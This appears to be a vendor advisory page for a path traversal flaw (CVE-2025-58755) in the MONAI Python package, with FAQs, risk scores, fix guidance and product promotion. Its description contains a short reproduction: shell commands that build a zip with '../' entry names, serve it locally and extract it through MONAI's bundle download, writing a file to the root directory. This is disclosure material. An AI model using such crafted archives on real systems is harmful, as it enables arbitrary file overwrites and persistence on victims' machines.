How severe is GHSA-x6ww-pf9m-m73m?

GHSA-x6ww-pf9m-m73m has a CVSS score of 8.8/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-x6ww-pf9m-m73m?

GHSA-x6ww-pf9m-m73m affects the following packages: monai (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-x6ww-pf9m-m73m?

Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x6ww-pf9m-m73m is resolved across your whole dependency graph.

How do I detect GHSA-x6ww-pf9m-m73m in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-x6ww-pf9m-m73m if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-x6ww-pf9m-m73m?

O3 pinpoints whether GHSA-x6ww-pf9m-m73m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-x6ww-pf9m-m73m actively exploited in the wild?

No public exploit code has been indexed for GHSA-x6ww-pf9m-m73m yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-x6ww-pf9m-m73m?

GHSA-x6ww-pf9m-m73m has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 43th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-x6ww-pf9m-m73m?

GHSA-x6ww-pf9m-m73m is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-x6ww-pf9m-m73m published, and has it been updated?

GHSA-x6ww-pf9m-m73m was published on September 9, 2025 and was last updated on June 6, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-x6ww-pf9m-m73m

HIGH

MONAI does not prevent path traversal, potentially leading to arbitrary file writes

Also known asCVE-2025-58755PYSEC-2025-140

Published

Sep 9, 2025

Updated

Jun 6, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk43th percentile+0.38%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`monai`	all versions	1.5.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x6ww-pf9m-m73m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x6ww-pf9m-m73m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-x6ww-pf9m-m73m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d

O3 Security · Impact-Aware SCA

Is GHSA-x6ww-pf9m-m73m in your dependencies?

O3 detects GHSA-x6ww-pf9m-m73m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works